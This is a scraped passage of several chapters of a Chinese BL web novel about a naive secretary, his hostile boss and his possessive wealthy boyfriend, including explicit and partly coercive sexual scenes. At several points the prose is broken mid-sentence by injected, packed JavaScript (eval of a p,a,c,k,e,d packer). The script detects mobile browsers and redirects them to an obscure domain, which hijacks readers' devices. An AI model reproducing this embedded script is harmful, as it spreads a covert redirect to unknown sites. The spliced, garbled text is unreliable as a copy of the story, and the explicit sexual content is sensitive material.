《不可以欺负甄甄》 3. 第 3 章 不过这次转移到了更为隐蔽的无上司版小群。 “什么?小美女进了fcx的办公室!” “wc,上一个进去脱衣服的直接被丢出来了!!上了三天三夜的热搜,现在沦落到直播卖美美白白三无微商面膜去了!!!” “珍妮那种整容脸一看就不是fcx这种资本大少的菜啦,但这次的新人……不太一样吧……” “呵呵再有钱的男人本性也恶,天真单纯小雏菊当然是天菜咯。” “不如倒数美女还有几秒钟被扔出来。” “冲他敢进fcx办公室,有这份勇气闯荡娱乐圈,包火的。” 但其实甄甄局促地站在方寸行的办公桌前等了好半天,西装革履的男人不知道是真在忙,还是故意要给个下马威,等甄甄站到腿都有点酸才终于施舍般抬起头。 旋即露出有些惊讶的眼神。 这么小? 成年了吗? 腰真细。 方寸行皱眉:“谁教你上班这么穿?贺越邱教的?” 长得确实漂亮。 姓贺的眼光是很不错。 但腰是不是太细了点。 甄甄愣了一下,他没有怎么接触过社会,和大多数清澈愚蠢大学生一样听不懂好赖话,呆呆地有问就答:“嗯啊,我老公……不是……嗯,他给我买的衣服。” “以后工作场合,麻烦你穿得正式一点,穿成这样是想和我出去开会还是约会?” 非得要把话点破才明白? 不知道的以为他包了个清纯型的小秘。 腿也挺长的。 甄甄:“……哦。” 方寸行打量的目光最终停留在甄甄脖子上的choker,看清楚细节后,签字的手一顿,笔尖洇出墨团。 也不说话,就这么看了很久,看得甄甄心里发毛,就快坚持不住想主动破冰时,这人却忽然撑着额头哧哧笑了几声。 甄甄一头雾水—— 他在装什么呀。 贺越邱平时上班也不是这个死动静啊。 方寸行嘴角还挂着未完全消失的笑,眼神却满是嘲讽:“他倒是把你调.教得很乖,连这种东西都……行了,自己一边玩去吧,别打扰我。” 甄甄:“……” 这辈子最烦装逼的人。 他苦口婆心地劝自己忍忍,但一说话,语气还是明显很不开心:“不需要我做什么吗?” 方寸行闻言抬头看一眼他,惊奇道:“你?呃,你除了给贺越邱睡,还能做什么?” 他这人说话怎么这样—— 甄甄绞尽脑汁想了会儿,糟糕,他好像还真是什么也不会做。 方寸行嗤笑道:“所以你就老老实实待在一边刷剧打游戏和你老公煲电话粥就行了——声音小点。别打那种荤的视频。” 甄甄气鼓鼓地瞪着他。 “干什么?” 甄甄气鼓鼓地走掉。 “……怪好玩的。” 方寸行养过狗养过猫,异宠也玩过,但还没见过这么生动活泼的小东西,如此一看贺越邱这禽兽确实有点手段,可惜他既不是神父,又不是广岛长崎,对小男孩不感兴趣,否则有空了还可以去找姓贺的取取经。 方寸行的办公室被称作行政套房更贴切,他现在用的这间兼职了会客厅的功能,放了几张很大的真皮沙发,甄甄张开手一比,够他躺在上面再打一个滚了。 哦,上帝,瞧这万恶的活该被吊路灯的资本家! 甄甄没什么形象地倚在沙发上,磨着牙一个劲扣手机,跟置顶的贺越邱疯狂吐槽他的顶头上司。 瓦瓦:我讨厌你! 瓦瓦老公:我错了宝贝,明天早上不给你吃鸡蛋水饺香蕉豆浆,换草莓牛奶小笼包怎么样? 瓦瓦:╰_╯死装男! 瓦瓦:╰_╯资本家! 瓦瓦:╰_╯你也不是什么好东西! 瓦瓦老公:我和方先生不熟,生意伙伴。 瓦瓦:o.o? 贺越邱怎么知道我在骂方寸行啊? 甄甄死机。 方寸行离了一个客厅远,都能听到甄甄用九键拼音辱骂自己的声音:“……” 老板在为了公司上上下下几千张嘴奋斗,小秘书倒悠悠闲闲地公然摸鱼? 方寸行舌头顶了顶口腔壁,忽然就不想让这小东西过得这么舒心了。 他合上笔,办公椅往后一滑,站起身,朝着甄甄走过去。 甄甄正拿出玩音游的实力扣字,一道阴影极具压迫性地落在他身上,抬头一看,方寸行黑着张驴脸,指指他:“有个会,跟我来下。” 甄甄出离愤怒了:不是你让我一边玩儿去吗!怎么又要使唤人呀! 他生气地收起手机,抬脚就走,被方寸行喊住,不可置信地问他:“你就这么走了?什么都不拿?” “拿什么!” “平板或者笔记本。”方寸行说,“不带东西,到时候会议纪要写在脸上?” “我脸小写不下,写在你脸上!” 方寸行诧异地上下打量着他:“除了能给贺越邱睡之外的第二个优点,牙尖嘴利。” 甄甄冲他恶狠狠地挤挤鼻子,从贺越邱买了20杯奶茶差点喝成巨人观才抽中的雪王文创袋里掏出自己的iPad,抱在怀里昂首挺胸地走出办公室。 门外秘书格里瞬间低下去一片脑袋—— “出来了!” “半个小时!他足足在fcx办公室里待了半个小时!” “虽然fcx不像是半个小时就能完事的但半个小时什么都够做了。” “某待爆、某某待爆、某某某待爆都在舔的我司下一部S+双男主古偶大饼已花落这家。” “你们认真的吗,这漂亮小男生一看就不像是出卖身体博上位的啊,他都跟着fcx去20楼了。” “懂了,这次不是《万人迷影帝带球跑后我红了》,是《霸总他又强制爱金丝雀》!” 甄甄总觉得周围的同事们都怪怪的,尤其是和他一样摆着iPad或者笔记本记会议进程的秘书团,虽然打字如飞噼里啪啦,但甄甄直觉不是什么正经记录,颇有一种小时候上课假装记笔记但其实在和同桌下五子棋的浑水摸鱼感。 他们这些坐在后面的都是小卡拉米,主要起到一个气氛组撑场面的作用,主管和更高层都在前面开会,激情澎湃地吵架下个季度各自部门的预算该提高多少。 代替大佬们出战的则是手下各显神通的心腹大将们,PPT做得比甄甄爱看的农村自建房改造Vlog还要精致。明明没有外国友人在场,有的显眼包也非要双语演讲,那种Privilege仿佛上海街头接受采访的手冲咖啡主理人。 听又听不懂,看又看不会,甄甄脑袋小鸡啄米,一点一点,直打瞌睡。 忽然身边爆发出一阵压抑但兴奋地“哇”声,甄甄猛然惊醒,差点掉下凳子,四处扭头寻找—— 群众在起哄!哪里!哪里有瓜吃! “不好意思不好意思电脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935889|177203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中了病毒,我们跳过这一p直接看预算报表……” 甄甄迷茫一阵后顺着声音看向多功能面板,正在演讲的同事手忙脚乱地试图叉掉特关唐突发来的一张锁骨照,疑似还有些虎狼之词。 台下吃瓜群众们双眼放光小声讨论,台上以方寸行为首的一众高管面黑如炭。 原来是私底下当涩批的聊天记录不慎曝光! 甄甄兴致勃勃地想看清楚点,但只瞥到聊天框里对面一句“H总简直如狼似虎!!可怜zz拼尽全力无法抵抗TT”,这个绿色的聊天软件就被同事叉掉了,重新换上无趣又冷淡的财务报表。 甄甄余光看到周围同事都一副没劲的表情,重新变回冷漠社畜,但那个做报告的同事再也秀不起英文了,之后全程都带着羞愤欲绝的哭腔勉强做完工作汇报,在众目睽睽之下飞也似地端走自己电脑,冲出了会议室。 甄甄感同身受地露出怜悯目光:这才是世界上最绝望的死法。 这都他妈什么事儿—— 方寸行咬紧腮帮,压着火气,冷冷地说了声会议继续,窸窸窣窣的会场顷刻间安静,落针可闻。 确认没瓜可吃,甄甄重新打起瞌睡。 他整个人迷迷糊糊地,也不知道过去多久,面前的桌子忽然被人“梆梆”敲了两声。 艰难地分开眼皮一看,果然又是顶头上司那张阴沉沉的驴脸。 “你是来工作的,还是来睡觉的?” 甄甄小小地打着哈欠,周围仿佛具象化地碎开一个个蒲公英圈圈,有气没力地说:“下班了吗?” 方寸行这个公认的冷面阎王都被甄甄活生生给气笑了:“这位很会享受的贵妇人,您上班过吗?” 事关考勤和工资,甄甄瞬间清醒:“怎么没有!” “比如?” “我按时打卡了!” “需要我夸奖你吗?” “我还记会议纲要了!” 方寸行直接抽走躺在甄甄桌子上当睡垫的平板,没有设置密码,随便划拉几下就打开了备忘录,反手展示给甄甄看,照本宣科地念道:“‘pm.15:12,付出型喝第三次水,为什么我没水喝’——” “‘pm.15:45,付出型批评阿曼达的PPT浪费公司电费,呵呵我明天就把家里所有充电宝都带来公司’——” “‘pm.16:23,感觉左边的安迪在和其他同事蛐蛐我,难道第一天上班就要遭遇职场霸凌吗’——” “‘pm.16:58,替戴维感到社死,他会不会上小红书发帖《家人们谁懂啊,我上台演讲PPT的时候和死党讨论黄涩的聊天记录曝光了》’——” “‘pm.17:35,困困=_=好想老公TT’——” 方寸行手指扣紧平板,青筋暴起,皮笑肉不笑地礼貌点头:“甄甄秘书,我是不是要夸你,‘居然知道pm是下午时间的拉丁文首字母缩写哎!付出型花五千一个月的实习工资请我实在太划算了!’” 甄甄仿佛看到一头喷火巨龙正无限长大,而笼罩在巨龙恐怖阴影下的自己越变越小瑟瑟发抖:“五千?可是我老公跟我说你这里一个月八千带双休啊……” 巨龙鼻孔喷火,伸着邪恶前爪咆哮道:“你这种离不开老公的好嫁风娇妻更适合窝在家里当全职太太生一男一女凑个好字!” 甄甄理直气壮道:“我是男生!” “男小三也是小三,男娇妻也是娇妻,你最好立刻马上打电话叫你老公把你接回去,否则我一定让贺氏明天就破产!” 4.第 4 章 甄甄一把抢回iPad,气冲冲道:“我老公姓贺,一听就是小说里掌握C国经济命脉的霸总,你一个方姓男二配置,也敢天凉贺破,我看你已有取死之道!” 方寸行的太阳穴一跳一跳地疼:“都什么乱七八糟的!” 甄甄转身就走,丝毫不把娱乐圈里上至当红影帝下至新晋流量都巴结奉承的星火方总当回事。 方寸行让他气得牙根痒痒,给前两天才来找他托关系走后门的“不熟的合作伙伴”发去语音:管管你老婆! 贺越邱这边刚哄完甄甄,手机一振,又收到方寸行的消息。 他在开车。 等红绿灯的间隙,左手搭在降下来的车窗上,两指间夹着燃到一半的烟,食指抬起来点了点烟灰,右手虚握着方向盘。 贺越邱沉闷磁性的声音从手机里传出来:“我拿三千万投资你们网台的新综艺,陪我老婆玩玩办公室游戏又怎么了?” 方寸行:“……” 行。 他忍。 方寸行咬牙切齿地挤出笑意,重发一条:“您老婆马上就要下班了,请问贺总什么时候有空开上您的迈巴赫来接夫人?” 贺越邱看了眼窗外:“路上,在堵车。” 并随手一拍江面晚霞,车流如织。 “……” 不算堵车、出车祸、三体人的二向箔从天而降等等意外情况,星火娱乐的大楼离贺氏集团单向直线车程一个小时,接上人后还得再开回五公里外的他们的爱巢,这世界上能让方寸行做到这一步的他估计只有自己亲妈,总结: 贺越邱此人已恋爱脑晚期,彻底没救了。 甄甄收拾好自己的东西,在员工休息室里趴着玩手机,脸都完全贴在冰凉的大理石桌面上,被挤得扁扁的。 他等着下班,贺越邱来接他。 “咔哒”一声门锁响,甄甄还以为是贺越邱,猛地抬头看过去,和眼睛红肿的同事戴维对上眼,两个人同时发出尴尬的“呃……”。 最后是甄甄先开口破冰,指了指戴维:“你怎么哭成兔子眼睛了?” 一提到伤心事,戴维忍不住又呜呜咽咽:“可别说了,这辈子也没丢过这么大人,台底下那么多领导和同事看着,H总早不更新晚不更新偏偏这种时候更新,他要是不更新我朋友也不会发微信,我朋友不发微信我也就不会被大家发现私底下偷偷看网黄,不被大家发现偷看网黄我也就不会社死……” 甄甄今天恰好看了武林外传佟掌柜的寡妇归因论,闻言非常同情戴维,配合地长长叹了口气:“唉,确实,如果H总不更新,你朋友就不会发微信……” 安慰一圈之后,甄甄忽然卡住了,就像视频里被抽帧一样,慢半拍之后才意识到一个问题:“H总是谁?什么是网黄?我只知道网红和网管。” 戴维都让他问得卡壳了一下,停下来想了想:“H总就是……一个很有名的推特同性情侣博主啊,他经常分享和小男友的恋爱日常。有时候,嗯,也分享点……非要说呢他也没有那么黄,因为他不靠这个赚钱,不需要用太黄的东西博眼球。至于网黄嘛,你不用懂太多,反正不是能过审的东西。” “推特?”能看武林外传不。 “一个以你的智商应该用不了的国际性.交流软件。”戴维说。甄甄怀疑他在某个字上读了重音。 甄甄认真地看着他,不时点点头:“你接着往下说啊。” 看到甄甄纯真的眼神,戴维忽然生出种带坏单纯小孩的错觉,良心开始不安起来,想要含混过去:“也没什么好说的,这种博主在推特上挺多的,就是H总粉丝比较多点而已。你连推特和网黄都不知道,问这些干什么,别问了,看你的同福客栈去吧。” 甄甄纠正道:“是武林外传。” 戴维的无语具现化到有只乌鸦拉着六个小黑点从他头顶飞过,并留下三声“嘎嘎嘎”罐头音效。 甄甄锲而不舍地问:“H总有多少粉丝?” “刚刚看是100多万,应该快200万了。” “100多万?也不多嘛!我最近追的短剧男主在抖音上有一千万粉丝!这才是大网红!” 戴维扶额:“咱都是干娱乐公司的了,数据注水这事儿没吃过猪肉还没见过猪跑吗,抖音上一千万粉丝肯花钱的能有几个,推特上的福利姬鸭要是能有个几千粉丝,光门槛就够一个月过得很滋润了。” 甄甄张了张口,见他马上又要追着问门槛、福利姬鸭是什么,戴维立马预判:“好,停,你不要再做好奇宝宝了,你现在最大的任务就是把王者荣耀的宝宝锁解了。” 甄甄的思路被打断,气哼哼地反击:“我是不懂,那你也别怪什么H总不该更新了,明明就是你自己馋zz身子,你要是守好男德,怎么会发生这种社死事件呢!你自己好好反省一下!” 戴维被堵得哑口无言,小声逼逼:“谁让H总这次发了zz的锁骨照……谁不看简直就是人生损失……” 三秒后,他看着洋洋得意、好像连耳朵尾巴都跟着翘起来的甄甄,忽然反应过来:“等会儿,我们不是刚认识吗,你为什么能做到仿佛入职十年的老员工一样和我在茶水间闲聊八卦的熟悉程度?” 这也太自来熟了吧!让戴维想起他还叫李佳航在李家村时喂过牛奶的那只肚皮圆滚滚、喜欢嗯嘤嘤的小狗!就是这样才刚见面就摊开肚皮打滚儿要他摸摸抱抱! 甄甄轻哼一声:“在三秒内拉近和任何人的社交距离乃我的天赋。” 戴维:“天赋吗?有点儿意思。” 他接受了自己套给新同事的小狗设定,坐到他身边,掏出手机扫码:“来吧,天赋哥,加个好友。” 甄甄欣然接受,通过了戴维的好友申请。 “话说回来,你叫什么?”戴维编辑着备注。 “甄甄。” “不要叠词词跟我讲话了啦!”戴维用台湾腔说,“男孩子怎么会叫珍珍这种名字吼,太奇怪了有木有。” 甄甄忍住给他一坨小狗拳的冲动:“我姓甄名甄!甄甄!” 戴维恢复正常:“好名字啊,在明O大侦探活不过片头吧。” 甄甄的眼神暴露出要咬他的凶光,下一秒专门给贺越邱设置的来电铃声响起,知道肯定是老公来接自己下班了,于是敷衍地跟戴维摆摆手说明天见,拎着自己的小包就往外走。 星火的大门常年蹲守着各路粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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甄甄听不下去,心跳飞快,又羞又急,都快哭出来了:“我明明听到有人在咳嗽,还有脚步声——唔!” 他的嘴被堵住,一条贪婪地蟒蛇钻进来肆意掠夺空气,甄甄推拒着,双眼忽然睁圆——! 他挣扎的幅度更大了,腰也挺起来乱摆。 □*□ 甄甄软了力气,别过头想躲开,却只能埋在贺越邱的胸肌之中,扑面而来男性雄浑灼热的气息。 贺越邱自己尝了,笑道:“一股小狗味儿。” 其实他只想说那一个字。 □*□ 他死死地抓住贺越邱的肩膀,修剪圆钝的指甲隔着衣服都快嵌进肉里,皮糙肉厚的前橄榄球四分卫却感觉不到任何疼痛,加快了手指的速度,在甄甄弓起背快受不了时骤然停止。 甄甄卡在那儿,在男人身上胡乱磨蹭,呜呜地哭着:“我要……” 漂亮的眼睛浸泡在泪花里,哀哀地看过来,可怜又难耐地摇晃着尾巴,足以满足任何一个人哪怕最恶劣的欲望。 贺越邱呼吸声粗重:“甄甄做一个选择题好不好?手指换成更大的,或者,你坐上来。” 5.第 5 章 甄甄的理智早就离家出走了,车灯下琥珀色的瞳孔扩着涣散的光圈,被手掌包住的地方像贝壳一样缓慢地翕张着小口,他一味沉浸在自己未达顶端的世界,把整张脸都埋在贺越邱的怀里,嘤呜哼唧着,融化了的棉花糖般甜腻又黏糊。 手指堵不住融化的糖水,蹭落在贺越邱腹部的衣服上,黏腻湿透一大片,隐隐透出线条分明的麦色腹肌。他的呼吸声重如野兽,随着手指搅动时的咕叽咕叽一下比一下粗重,灼热的气息喷洒在甄甄头顶,而下一瞬这股热气变换位置,烫得甄甄浑身哆嗦,腰一下子软了,几乎要坐不住滑下来。 甄甄急促而尖细地叫了一声,双手无力地抓住贺越邱的头发,想要逃开却被那只能够轻松抓住橄榄球的手紧紧地箍住脚腕,握满一圈手指都还有重叠。 甄甄从来都不好好吃饭,那么瘦,这下也吃到了纤弱的苦头,让他看似主动的姿态却被全盘掌控而挣脱不得,像那束含苞欲放的玫瑰般任人埋进嗅闻,汲取花蜜。 甄甄的视线完全失焦,只看到了一朵接一朵炸开的烟花,感官过载的刺激让他又舒服又害怕,泪水糊满精致雪白的小脸,把洇红柔软的唇瓣都泡皱了,再哭下去都得担心他脱水。 贺越邱攥住甄甄脚腕的手一紧,几秒后猛然松开。甄甄没了支点,从他脸上滑下来,抵到鼻尖时整个人哆嗦一下,又挤出一大泡眼泪。 贺越邱看起来倒是滋润得要死,声音都透着一股餍足的懒意:“甄甄是不是水宝宝?要不要买一点回来放进去,说不定第二天都能生出来几个小水宝宝了。” “你闭嘴!不许说!” 甄甄的嗓子哭得有点哑,抬手一巴掌打在贺越邱脸上,因为有粘液,“啪”的那一声格外响亮,可惜他浑身软得一点力气都没有,连点印记都没留下。 贺越邱坐起来,一滴透明水珠从混血儿高耸的鼻尖上滴下来,被他当着甄甄的面伸出舌头舔了。 甄甄被潮意烘得湿粉的脸蛋更烫,睫毛颤抖着闭上眼。 呜……好奇怪…… 贺越邱低沉的笑声仿佛贴着他耳朵响起来:“老公鼻子好不好看?它长成这样就是要给你用的。” 他把甄甄拉回自己怀里,动作更温柔的抚慰着,时而低下头,爱怜地亲亲睫毛,又亲亲唇角。 甄甄嫌弃地不停推拒着他:“你……走开!脏死了!” 贺越邱挑眉,捻着嫩果的手指用力了些,惹来甄甄一声软了嗓子的低呼:“脏吗?明明洗得很干净,像一颗又软又甜快熟透的草莓,轻轻一吸就出甜汁儿了,就是太娇气了不禁嘬,没一会儿就软烂成草莓泥了。” 甄甄狠狠地瞪他一眼:“从今天起我最讨厌吃的水果就是草莓!” 贺越邱幼稚地重复道:“从今天起我最喜欢吃的水果就是草莓。” 看甄甄还不够害羞似的,凑在他耳边,故意逗弄:“我现在刚吃过,晚上还要吃,明天也要吃,后天、大后天……我天天都要吃。你能不能转告那颗草莓,让他每天都洗得香香的,等我来吃。” 甄甄越羞就越说不过贺越邱,都用上手了也堵不住这家伙的嘴,反而被粗粝灵活的舌头舔了一遍,气得他一口咬上贺越邱的眉弓。 “嘶——”贺越邱痛得皱眉,扭头去看后视镜,右眉骨附近一圈显眼的牙印,明眼人一看就知道是怎么回事了。 他故意装作忧愁的样子,叹气道:“这下破相了,不再是甄甄帅气的老公。” 甄甄高兴了,拿脚踹他:“给我把鞋拿过来。” 贺越邱不仅弯腰帮他把鞋拿来,还任劳任怨地穿上,又几乎抽了半盒纸巾,才把水淋淋的甄甄擦干净。 甄甄打开车门,手里还拿了瓶矿泉水。 贺越邱也跟着下车:“不回家吗?入职第一天就要加班?” 甄甄不给他好脸色:“这么脏……被你弄得哪里黏黏的,不去卫生间洗一下怎么办!” 贺越邱走到他身边,一把揽过那截细腰,抢来矿泉水瓶,低声道:“你自己洗不干净,我帮你。” 甄甄哪儿还敢让他碰自己,车里都忍不了了,到密闭的卫生间还得了,哼唧唧地推拒道:“不要……我自己会洗……你好烦,走开,不准亲我!” 推拒到一半,被压在车身上缠绵深吻。 甄甄被贺越邱吻得迷迷糊糊快缺氧,眼前忽然闪过明黄色的车灯,一辆劳在他们面前停下,没有继续开走的意思。 甄甄瞳孔放大,忙唔唔地拍打着贺越邱,后者却仿若未觉,还在追逐抵弄少年湿粉软滑的舌头。 直到那车熄火,贺越邱才终于把甄甄放开,一转过身,深情宠溺的眼神尽数消退,放松的眉眼便皱得死紧,不耐烦地打量着从车上下来的人。 看清全貌后,那满脸的戾气才渐渐被趣意替代,长手一揽把甄甄捞到自己怀里,调侃道:“方老板挺有雅兴,开着车呢,都有功夫欣赏情侣亲热,也不怕这黑灯瞎火的撞到承重柱上。” 方寸行的目光落在甄甄脸上,刚刚还和贺越邱旁若无人接吻的人听见他名字后,慌得要往男友身后躲,似乎也知道这种事被老板撞见很尴尬。 虽然没真刀实枪做过这些事,但方寸行看也看过不少,他新来的笨手笨脚小秘书满脸潮意,眼睛像是哭过,被洗得又亮又新,嘴角的破皮应该是被亲的,想藏又没藏好,警惕地探出半个头,把脸上这些痕迹原原本本都暴露出来了。 衣服很乱,鞋袜也歪歪扭扭的,裤子腿根有很可疑的湿痕,自他周身,地下车库冰冷的空气里弥漫着一股骚甜味,混合着甜腻的玫瑰花香—— 更别提他身边贺越邱脸上的牙印—— 方寸行后悔自己下车了。 他怎么看了这么久…… 甄甄有些抵触上司冒犯的视线,害怕被看出来什么,小心翼翼地拉着贺越邱的衣角,也不敢和顶头上司直视,只小声说:“我不去洗了……我们先回家吧。” “老板好像……一直在看我……” 甄甄话音刚落,矿泉水瓶被贺越邱捏得嘎吱作响,浑身肌肉都绷得更紧,本是提醒,却掺杂着莫名的兴奋:“方老板,你一直盯着甄甄看,他害羞了。” 是错觉? 正常人面对这种情况,会是这样的反应吗? 甄甄死机了会儿,过后甩甩头,觉得自己爱胡思乱想的程度又加深了。 可不止甄甄,方寸行也察觉到了这份怪异。 他早就听圈里的朋友说贺越邱很喜欢给他们介绍自己的小男友,经常约出来一起玩,朋友圈发得也很频繁—— 他其实一直都不太相信。 因为方寸行在这些人中算是和贺越邱认识最早的,也算一个院里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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听到人多好玩,甄甄犹豫起来,脑子里两只小狗在打架,一只胆小马尔济斯躲在纸箱里瑟瑟发抖,一只邪恶比格宝宝werwer地乱跑乱叫,纠结到最后也给不出一个确切的答案:“唔……那看老板怎么说吧……他想去的话就……” 贺越邱于是又看向方寸行,温和的笑容一看就是伪装出来的,看似询问意见,但方寸行知道在这块地界上,贺总说话还没有不好使的时候。 “聚聚呗?现在一个个都忙工作,凑一次比赛可太不容易了。” 这只是把他当恋爱的一环吗?分明都快把他当套了。 方寸行没好气地说:“去是可以。不过就你小男友这体格,上场打橄榄球?我怕他被人当球打了。” 他又忍不住看向躲在贺越邱身后的甄甄,细胳膊细腿的,腰还没贺越邱这狗比大腿粗,个头到肩膀都勉强,比自己也就刚过肩膀一点,贺越邱再往左边站点就把他整个人全挡严实了。 即使知道这么问实在越界,但方寸行还是和贺越邱那些无数个第一次见甄甄的朋友一样,不受控制地、下流地想,那么小一点,到底是怎么吞进去的啊。 方寸行是没见过甄甄那里,可又不是没隔着尿便池见过贺越邱的,本来人就长得精悍,还混了外国血统,高中就长得跟种公一样了,那他的小男友高中呢?只会比现在更小吧。 他是听说甄甄高中毕业就跟贺越邱在一起了,现在都这么嫩、这么小,当时…… 叮—— 甄甄狐疑地看着贺越邱拿起手机,因为刚刚方寸行好像也拿了手机,他们不会是在背地里蛐蛐自己吧? 他挽着贺越邱的小臂,忽然感觉到肌肉涨硬,体温也瞬间拔高,耳边是男人低沉的、灼热的吐息,在看到方寸行发来的消息的一瞬间,贺越邱兴奋得赤红着眼睛。 【星火方寸行:你给他开/苞的时候没把人弄进医院吧?】 6.第 6 章 甄甄不知道方寸行是什么时候走的,贺越邱看完手机后就像条疯狗一样箍住他,把他亲得七荤八素,只能感受到滚烫的掠夺,其他一切都无暇顾及。 “唔、够、够了!你……发什么疯……” 甄甄竭尽全力都没能把贺越邱推开,反被带着在车里真刀真枪的做了一次。结束后他浑身都像是从水里捞出来那样,琥珀色的瞳孔被眼泪泡得润亮发新,鼻尖、耳垂……皮薄的地方,都洇着一种宣纸上染开的水红色,浮在瓷白嫩肤之上。 余韵还在,甄甄连指尖都在细细地打着颤,更别提满是掐痕的腿肉,脱力地趴在贺越邱身上哼哼唧唧地呜咽。 整个过程他都提心吊胆,害怕被路过的人发现,再舒服也只敢咬着贺越邱的肩膀低声抽泣,身体还像未被开发时一样夹得青涩发紧。贺越邱几次都快受不了。 甄甄现在就像棉花糖小狗,轻轻戳一下都会柔软地陷进去。但贺越邱不敢再碰他了,只是一边拿湿纸巾擦着乱七八糟的座椅,一边温柔地啄吻安慰。 回家路上甄甄坚决不坐副驾驶,气哼哼地去了后座,空间大得够他躺下追剧,习惯性地把左腿翘在右腿的膝盖上,白皙伶仃的脚背勾起来,有一搭没一搭地摇晃。 贺越邱一抬眼,那双脚就在他的后视镜里晃晃悠悠个不停,被橘黄色的夕阳照得越发莹润,反射出盈白的光晕,脚背上突起几条青色的血管,仿佛栀子花瓣上青绿色的筋脉。 踩在坐垫上的那只脚掌深深陷进去,只剩圆润微粉的脚趾还抓着深色的皮革,指甲修剪得很整齐,因为过瘦而微拱着彼此生分地排列在一起,脚趾中间会有一点点透光的缝隙。 贺越邱刚发泄过的地方又涌上一阵燥热,喉结艰难地滚了滚,脑海里控制不住地浮现出他抓着甄甄的脚抚慰的画面。 那点生涩的缝隙,就应该被填满。 男人的眼神渐渐幽深,脑海里闪过更多关于这双脚的思绪。 甄甄很瘦,脚也小,快一米八的男生,鞋码只有39,市面上连合脚的鞋都难买到。在没遇见财大气粗的贺越邱之前,他常常得买大码女鞋凑合。 但穿起来总是不舒服的。 认识贺越邱之后,才知道鞋子原来还能定制,常年被挤压裹住的脚才终于得以解放。 贺越邱的鞋也需要定制,但他是另一种极端。45码的大脚,和他本人的体格一样粗壮有力,还在国外读书的时候和白人teenager打架,一脚就把那个做下拉眼皮的胖子踢成肋骨骨折。 鞋柜上甄甄的运动鞋和贺越邱的皮鞋摆在一起,衬得那几双小白鞋跟童鞋似的。 贺越邱教甄甄跳交际舞的时候,他们的脚并排在一起,或者他被甄甄不小心踩到,那种有些极端的差异,总能让他呼吸急促。 贺越邱很多时候都要刻意在甄甄面前收敛起自己对外时的戾气,西装革履斯文败类,甄甄喜欢什么样的人他就可以是什么样的人。 但在甄甄看不到的地方,贺越邱其实多的是肮脏想法,都想在他身上付诸实践—— 谁叫他身体的每一寸都按照贺越邱的喜好在长,漂亮,可爱,青涩……让贺越邱怎么控制得住不把他弄得更糟糕。 甄甄当然不会知道贺越邱究竟有多痴迷他的身体,尤其是那些隐秘的不得见光的部位,是面对其他人的绝对禁区,却是自己的应许之地。只对他一个人开放。 他有权利可以在这片贫瘠的土地上随意开发,野蛮地打下独属于自己的种子,直到把它翻耘开发得足够肥沃。 贺越邱忍耐一路,刚到家便把甄甄按在门上啃咬,抓来他的手往那儿按,舌尖钻进细小的耳孔:“好涨——” “宝宝,帮帮我。” 他还想再来,但从昨晚那次算起,这还没有24小时,甄甄就已经被按着做了三次,腰真的快要断掉、那块也是真的快要坏了,抗拒地摇着头躲避那铺天盖地暴雨般落下的吻。 “不要……你这只种公……呜……放开我,说了不行——” 拼蛮力甄甄是不可能拗得过贺越邱这头野牛的,他只有120斤,比同身高的一些女生都瘦,而贺越邱这混血杂种呢,身高一米九六,体重213斤,全是实打实的肌肉,大臂充血后比甄甄的腿还粗,往往一只手钳住甄甄的腰他就没办法挣扎了。 很多次甄甄都以为自己真的要被杆死,哭着抖着往前爬,又被抓着脚腕拖回去,或者滚下床躲进床底瑟瑟发抖,对着那只要把自己拽出去的手又踢又踹。 □*□ 被发现过。 付出的代价让甄甄根本不愿意再想起来。 甄甄也不知道为什么,平常贺越邱会忍着少碰他,但是今天就跟病犯了一样渴求无度,他不敢纵容他轻易得手,在皮带被直接扯断后踩上贺越邱的脚面,仰起头贴在他耳朵边,抽泣着小声说:“用别的好不好……那里不可以了……” □*□ □*□ 贺越邱把甄甄放倒,舌忝弄着,喘息道:“甄甄想用什么伺候老公?” 那句话只是搪塞,甄甄抽抽噎噎的,没回答上来。 □*□ …… “喂?戴维……麻烦你跟人事说一声,我明天请假。” “脚受伤了……没有,不是很严重……” “好,麻烦你了。” 贺越邱单膝跪在沙发边,捧着甄甄的脚心给他上药,脚掌最嫩的那块破皮红肿,看起来特别可怜。 甄甄挂了电话,哪怕贺越邱再低眉顺眼,也越看越来气,一巴掌抽他脸上:“你是不是疯了!都说磨破了磨破了还要继续!这下好了,我刚上一天班就请假,同事和老板该怎么看我啊!肯定给他们留下特别不好的印象了!” 他不提老板还好,一提,贺越邱就想起来在地下车库时方寸行一脸冷淡正经的模样,却给他发来那么一条消息,平静下去的地方隐约又有了蛰动的趋势。 他沉沉地吸气吐息,警告那东西冷静点,这下把甄甄的脚也玩坏了,再控制不住自己,老婆又要下安眠药了。 贺越邱忙讨好地亲了亲甄甄白嫩的脚丫,哄道:“别生气了宝宝,都是我的错,你把它锁起来吧,实在太过分了。” 甄甄踩在他脸上:“你还知道!你那个东西不应该锁起来,应该剁掉!剁了喂狗!” 贺越邱有些痴迷地深吸一口,眼神立刻又变了。感受到趾间滚烫的鼻息,甄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 